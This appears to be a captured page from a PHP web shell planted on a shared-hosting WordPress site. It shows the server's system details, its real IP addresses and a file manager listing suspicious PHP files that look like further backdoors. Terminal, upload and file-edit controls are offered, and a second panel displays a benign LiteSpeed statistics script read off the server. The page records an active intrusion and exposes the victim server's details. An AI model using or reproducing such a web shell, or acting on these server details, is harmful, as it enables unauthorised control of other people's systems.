Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 05:05:11
3907.15 GB Free: 1074.69 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 02:30:18drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log4.73 MB2026-05-05 05:05:10-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //usr/local/lsws/admin/html.6.3.3/static/scripts/realtime_stats.js
        function update_chart() {
        myChart.update();
    }

    function get_server_data() {
        let get_args = {"graph_type": graph_type};
        var jqxhr = $.get("graph_xml.php", get_args, function (data) {
            jd = JSON.parse(data);
            myChart.data.labels.push(jd.CURTIME);
            myChart.data.datasets[0].data.push(jd.BPS_IN);
            myChart.data.datasets[1].data.push(jd.BPS_OUT);
            myChart.data.datasets[2].data.push(jd.SSL_BPS_IN);
            myChart.data.datasets[3].data.push(jd.SSL_BPS_OUT);
			myChart.data.datasets[4].data.push(jd.PLAINCONN);
			myChart.data.datasets[5].data.push(jd.SSLCONN);
			myChart.data.datasets[6].data.push(jd.REQ_PROCESSING);
            myChart.data.datasets[7].data.push(jd.REQ_PER_SEC);
			myChart.data.datasets[8].data.push(jd.STATIC_HITS_PER_SEC);
			myChart.data.datasets[9].data.push(jd.CACHE_HITS_PER_SEC);
            $('#label_REQ_PROCESSING').text(jd.REQ_PROCESSING);
            $('#label_REQ_PER_SEC').text(jd.REQ_PER_SEC);
            $('#label_TOT_REQS').text(jd.TOT_REQS);
            $('#label_TOTAL_STATIC_HITS').text(jd.TOTAL_STATIC_HITS);
            $('#label_STATIC_HITS_PER_SEC').text(jd.STATIC_HITS_PER_SEC);
            $('#label_TOTAL_CACHE_HITS').text(jd.TOTAL_CACHE_HITS);
            $('#label_CACHE_HITS_PER_SEC').text(jd.CACHE_HITS_PER_SEC);
            $('#label_TOTAL_PRIVATE_CACHE_HITS').text(jd.TOTAL_PRIVATE_CACHE_HITS);
            $('#label_PRIVATE_CACHE_HITS_PER_SEC').text(jd.PRIVATE_CACHE_HITS_PER_SEC);
            $('#label_AVAILCONN').text(jd.AVAILCONN);
            $('#label_PLAINCONN').text(jd.PLAINCONN);
            $('#label_MAXCONN').text(jd.MAXCONN);
            $('#label_AVAILSSL').text(jd.AVAILSSL);
            $('#label_SSLCONN').text(jd.SSLCONN);
            $('#label_MAXSSL_CONN').text(jd.MAXSSL_CONN);

            update_chart();
        })
                .fail(function () {
                    console.log('AJAX fail');
                });
    }


    function get_vh_data() {
        let get_args = {"graph_type": graph_type, "vhost": vhost};
        var jqxhr = $.get("graph_xml.php", get_args, function (data) {
            jd = JSON.parse(data);
            myChart.data.labels.push(jd.CURTIME);
            myChart.data.datasets[0].data.push(jd.REQ_PROCESSING); 
            myChart.data.datasets[1].data.push(jd.REQ_PER_SEC);    
            myChart.data.datasets[2].data.push(jd.STATIC_HITS_PER_SEC);
            myChart.data.datasets[3].data.push(jd.CACHE_HITS_PER_SEC); 
            myChart.data.datasets[4].data.push(jd.EAP_INUSE);
            myChart.data.datasets[5].data.push(jd.EAP_IDLE);
            myChart.data.datasets[6].data.push(jd.EAP_WAITQ);
            myChart.data.datasets[7].data.push(jd.EAP_REQ_PER_SEC); // EAP_REQ_PER_SEC
            $('#label_TOTAL_STATIC_HITS').text(jd.TOTAL_STATIC_HITS);
            $('#label_REQ_PROCESSING').text(jd.REQ_PROCESSING);
            $('#label_REQ_PER_SEC').text(jd.REQ_PER_SEC);
            $('#label_TOT_REQS').text(jd.TOT_REQS);
            $('#label_TOTAL_STATIC_HITS').text(jd.TOTAL_STATIC_HITS);
            $('#label_STATIC_HITS_PER_SEC').text(jd.STATIC_HITS_PER_SEC);
            $('#label_TOTAL_CACHE_HITS').text(jd.TOTAL_CACHE_HITS);
            $('#label_CACHE_HITS_PER_SEC').text(jd.CACHE_HITS_PER_SEC);
            $('#label_TOTAL_PRIVATE_CACHE_HITS').text(jd.TOTAL_PRIVATE_CACHE_HITS);
            $('#label_PRIVATE_CACHE_HITS_PER_SEC').text(jd.PRIVATE_CACHE_HITS_PER_SEC);
            $('#label_EAP_PROCESS').text(jd.EAP_PROCESS);
            $('#label_PLAINCONN').text(jd.PLAINCONN);
            $('#label_EAP_INUSE').text(jd.EAP_INUSE);
            $('#label_EAP_IDLE').text(jd.EAP_IDLE);
            $('#label_EAP_WAITQ').text(jd.EAP_WAITQ);
            $('#label_EAP_REQ_PER_SEC').text(jd.EAP_REQ_PER_SEC);

            update_chart();
        })
                .fail(function () {
                    console.log('AJAX fail');
                });
    }

    function get_extapp_data() {
        let get_args = {"graph_type": graph_type, "vhost": vhost, "extapp": extapp};
        var jqxhr = $.get("graph_xml.php", get_args, function (data) {
            jd = JSON.parse(data);

            myChart.data.labels.push(jd.CURTIME);
            myChart.data.datasets[0].data.push(jd.INUSE_CONN);
			myChart.data.datasets[1].data.push(jd.IDLE_CONN);
            myChart.data.datasets[2].data.push(jd.WAITQUEUE_DEPTH);
            myChart.data.datasets[3].data.push(jd.REQ_PER_SEC);
            $('#label_CONFIG_MAX_CONN').text(jd.CONFIG_MAX_CONN);
            $('#label_EFFECT_MAX_CONN').text(jd.EFFECT_MAX_CONN);
            $('#label_POOL_SIZE').text(jd.POOL_SIZE);
            $('#label_INUSE_CONN').text(jd.INUSE_CONN);
            $('#label_IDLE_CONN').text(jd.IDLE_CONN);
            $('#label_WAITQUEUE_DEPTH').text(jd.WAITQUEUE_DEPTH);
            $('#label_REQ_PER_SEC').text(jd.REQ_PER_SEC);
            update_chart();
        })
                .fail(function () {
                    console.log('AJAX fail');
                });
    }

    function reset_interval(graph_type, seconds) {
        if (graph_type == 'Server') {
            interval_id = setInterval(get_server_data, seconds * 1000);
        } else if (graph_type == 'VH') {
            interval_id = setInterval(get_vh_data, seconds * 1000);
        } else { // EXTAPP
            interval_id = setInterval(get_extapp_data, seconds * 1000);
        }
        return interval_id;
    }


    var ctx = document.getElementById('realtimeChart').getContext('2d');
    var data;

    if (graph_type == 'Server') {
        data = {
            labels: [],
            datasets: [
                {
                    label: 'Http In (KB)',
                    data: [],
                    parsing: {
                        yAxisKey: 'BPS_IN'
                    },
                    borderColor: '#6fe5bf',
                    backgroundColor: '#6fe5bf'
                }, {
                    label: 'Http Out (KB)',
                    data: [],
                    parsing: {
                        yAxisKey: 'BPS_OUT'
                    },
                    borderColor: '#f0a00e',
                    backgroundColor: '#f0a00e'
                }, {
                    label: 'Https In (KB)',
                    data: [],
                    parsing: {
                        yAxisKey: 'SSL_BPS_IN'
                    },
                    borderColor: '#4c8a4a',
                    backgroundColor: '#4c8a4a'
                }, {
                    label: 'Https Out (KB)',
                    data: [],
                    parsing: {
                        yAxisKey: 'SSL_BPS_OUT'
                    },
                    borderColor: '#e7e004',
                    backgroundColor: '#e7e004'
                }, {
                    label: 'Http Used',
                    data: [],
                    parsing: {
                        yAxisKey: 'PLAINCONN'
                    },
                    borderColor: '#fd20b9',
                    backgroundColor: '#fd20b9'
                }, {
                    label: 'Https Used',
                    data: [],
                    parsing: {
                        yAxisKey: 'SSLCONN'
                    },
                    borderColor: '#c23636',
                    backgroundColor: '#c23636'
                }, {
                    label: 'Req in Processing',
                    data: [],
                    parsing: {
                        yAxisKey: 'REQ_PROCESSING'
                    },
                    borderColor: '#70ab44',
                    backgroundColor: '#70ab44'
                }, {
                    label: 'Req/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'REQ_PER_SEC'
                    },
                    borderColor: '#9628c6',
                    backgroundColor: '#9628c6',
                }, {
                    label: 'Static Hits/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'STATIC_HITS_PER_SEC'
                    },
                    borderColor: '#a4c6e7',
                    backgroundColor: '#a4c6e7'
                }, {
                    label: 'Public Cache Hits/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'CACHE_HITS_PER_SEC'
                    },
                    borderColor: '#3f81c3',
                    backgroundColor: '#3f81c3'
                }]
        };

    } else if (graph_type == 'VH') {
        data = {
            labels: [],
            datasets: [
                {
                    label: 'Req in Processing',
                    data: [],
                    parsing: {
                        yAxisKey: 'REQ_PROCESSING'
                    },
                    borderColor: '#70ab44',
                    backgroundColor: '#70ab44'
                }, {
                    label: 'Req/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'REQ_PER_SEC'
                    },
                    borderColor: '#9628c6',
                    backgroundColor: '#9628c6'
                }, {
                    label: 'Static Hits/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'STATIC_HITS_PER_SEC'
                    },
                    borderColor: '#a4c6e7',
                    backgroundColor: '#a4c6e7'
                }, {
                    label: 'Public Cache Hits/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'CACHE_HITS_PER_SEC'
                    },
                    borderColor: '#3f81c3',
                    backgroundColor: '#3f81c3'
                }, {
                    label: 'EAProc In Use',
                    data: [],
                    parsing: {
                        yAxisKey: 'EAP_INUSE'
                    },
                    borderColor: '#009926',
                    backgroundColor: '#009926'
                }, {
                    label: 'EAProc Idle',
                    data: [],
                    parsing: {
                        yAxisKey: 'EAP_IDLE'
                    },
                    borderColor: '#f0a00e',
                    backgroundColor: '#f0a00e'
                }, {
                    label: 'EAProc WaitQ',
                    data: [],
                    parsing: {
                        yAxisKey: 'EAP_WAITQ'
                    },
                    borderColor: '#d13814',
                    backgroundColor: '#d13814'
                }, {
                    label: 'EAProc Req/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'EAP_REQ_PER_SEC'
                    },
                    borderColor: '#6808d1',
                    backgroundColor: '#6808d1'
                }]
        };

    } else if (graph_type == 'EXTAPP') {
        data = {
            labels: [],
            datasets: [
                {
                    label: 'In Use Conn',
                    data: [],
                    parsing: {
                        yAxisKey: 'INUSE_CONN'
                    },
                    borderColor: '#009926',
                    backgroundColor: '#009926'
                }, {
                    label: 'Idle Conn',
                    data: [],
                    parsing: {
                        yAxisKey: 'IDLE_CONN'
                    },
                    borderColor: '#f0a00e',
                    backgroundColor: '#f0a00e'
                }, {
                    label: 'WaitQ',
                    data: [],
                    parsing: {
                        yAxisKey: 'WAITQUEUE_DEPTH'
                    },
                    borderColor: '#d13814',
                    backgroundColor: '#d13814'
                }, {
                    label: 'Req/Sec',
                    data: [],
                    parsing: {
                        yAxisKey: 'REQ_PER_SEC'
                    },
                    borderColor: '#6808d1',
                    backgroundColor: '#6808d1'
                }]
        };


    } else {
        console.log('graph_type error');
    }

    var cfg = {
        type: 'line',
        data: data,
        options: {
            plugins: {
                title: {
                    display: true,
                    text: graph_title,
                    font: {
                        weight: 'bold',
                        size: 24
                    }
                }
            }
        }
    };


    var myChart = new Chart(ctx, cfg);

    $(document).ready(function () {
        let interval_id = reset_interval(graph_type, 15); // initial default to 15 secs

        $('#refresh_period').on('change', function (e) {
            var refresh_val = $('#refresh_period option:selected').val();
            switch (refresh_val) {
                case 'STOP':
                    clearInterval(interval_id);
                    break;
                case '10':
                case '15':
                case '30':
                case '60':
                case '120':
                case '300':
                    clearInterval(interval_id);
                    interval_id = reset_interval(graph_type, refresh_val);
                    break;
                default:
                    console.log('Error: Invalid SELECT Input:#refresh_period option value: ' + refresh_val);
            }

        });
    });